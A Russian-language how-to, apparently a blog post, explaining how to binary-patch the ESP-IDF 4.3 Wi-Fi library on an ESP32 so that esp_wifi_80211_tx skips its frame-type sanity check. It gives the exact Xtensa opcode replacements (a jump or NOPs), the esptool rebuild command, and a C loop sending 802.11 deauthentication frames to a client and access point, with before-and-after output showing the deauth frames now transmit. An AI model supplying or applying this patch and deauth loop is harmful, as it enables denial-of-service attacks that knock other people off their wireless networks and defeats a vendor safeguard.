

Разработчики SDK espressif, решили ограничить отправку произвольных пакетов, путём добавления функции `ieee80211_raw_frame_sanitiy_check` проверки типа пакета (кадра), в функцию `esp_wifi_80211_tx`, а я решил исправить это ограничение.

В данном примере рассматривается ESP-IDF 4.3.

Для того чтобы обойти это ограничение, необходимо исправить готовый образ или исполняемый файл elf вашего проекта.

Необходимо найти и исправить (*на ваше усмотрение) последовательность опкодов:

```

undefined4      Stack[0x4]:4      param_8
                                     XREF[2]:
                                     esp_wifi_80211_tx

400aff88 36 61 00      entry      a1,0x30
400aff8b 50 50 74      extui      param_4,param_4,0x0,0x8
400aff8e dd 05          mov.n      a13,param_4
400aff90 cd 04          mov.n      a12,param_3
400aff92 bd 03          mov.n      a11,param_2
400aff94 ad 02          mov.n      a10,param_1
400aff96 a5 e5 ff      call8      ieee80211_raw_frame_sanitiy_check
400aff99 56 9a 09      bnez       a10,LAB_400b0036
400aff9c 91 8e d6      l32r       a9,->g_osi_funcs_p
400aff9f 81 da d6      l32r       a8,->g_wifi_global_lock

```

так:

```

                                     esp_wifi_80211_tx      XRE
400aff88 36 61 00      entry      a1,0x30
400aff8b 46 03 00      j          LAB_400aff9c
400aff8e dd 05          mov.n      a13,param_4
400aff90 cd 04          mov.n      a12,param_3
400aff92 bd 03          mov.n      a11,param_2
400aff94 ad 02          mov.n      a10,param_1
400aff96 a5 e5 ff      call8      ieee80211_raw_frame_sanitiy_check
400aff99 56 9a 09      bnez       a10,LAB_400b0036
                                     LAB_400aff9c      XRE
400aff9c 91 8e d6      l32r       a9,->g_osi_funcs_p
400aff9f 81 da d6      l32r       a8,->g_wifi_global_lock

```

или просто:

```

                                     esp_wifi_80211_tx
400aff88 36 61 00      entry      a1,0x30
400aff8b f0 20 00      nop
400aff8e 3d f0          nop.n
400aff90 3d f0          nop.n
400aff92 3d f0          nop.n
400aff94 3d f0          nop.n
400aff96 f0 20 00      nop
400aff99 f0 20 00      nop
400aff9c 91 8e d6      l32r       a9,->g_osi_funcs_p
400aff9f 81 da d6      l32r       a8,->g_wifi_global_lock

```

Для получения образа прошивки (для последующей загрузки в память ESP-32) используется утилита esptool с параметрами:

```
esptool.py --chip esp32 elf2image my_esp32_app.elf
```

Результаты:

```
for(;;){
    vTaskDelay(100 / TOTAL_LINES / portTICK_PERIOD_MS);
    printf("\nSend deauth seq_n = %d ...\n", seq_n/0x10);
    uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    res = esp_wifi_80211_tx(WIFI_IF_AP, packet_buffer, size, false);
    printf("Result = %02X\n", res);
}
```

до (вывод в монитор порта):

```
Send deauth seq_n = 0 ...
E (6897) wifi:unsupport frame type: 0c0
Result = 102
```

после исправления:

```
Send deauth seq_n = 0 ...
Result = 00
```

Как уже упоминалось, основная проверка производится в функции **ieee80211_raw_frame_sanity_check**, которая находится в объектном файле **ieee80211_output.o** библиотеки **libnet80211.a**, её исправление, позволит собирать последующие проекты без ограничений на тип отправляемого пакета (кадра).

В моём случае, необходимо было проверить **возможность** отправки deauth пакетов в “обход” ограничения.

Исправление проверено на версии **ESP-IDF 4.3**, модуля **ESP-32**, но я думаю, что этот вариант применим и к предыдущим версиям (имеется ввиду “обход” **ieee80211_raw_frame_sanity_check**).

Использованные инструменты:

[Ghidra](#)

[ghidra-xtensa](#)

* на ваше усмотрение – имеются ввиду варианты логики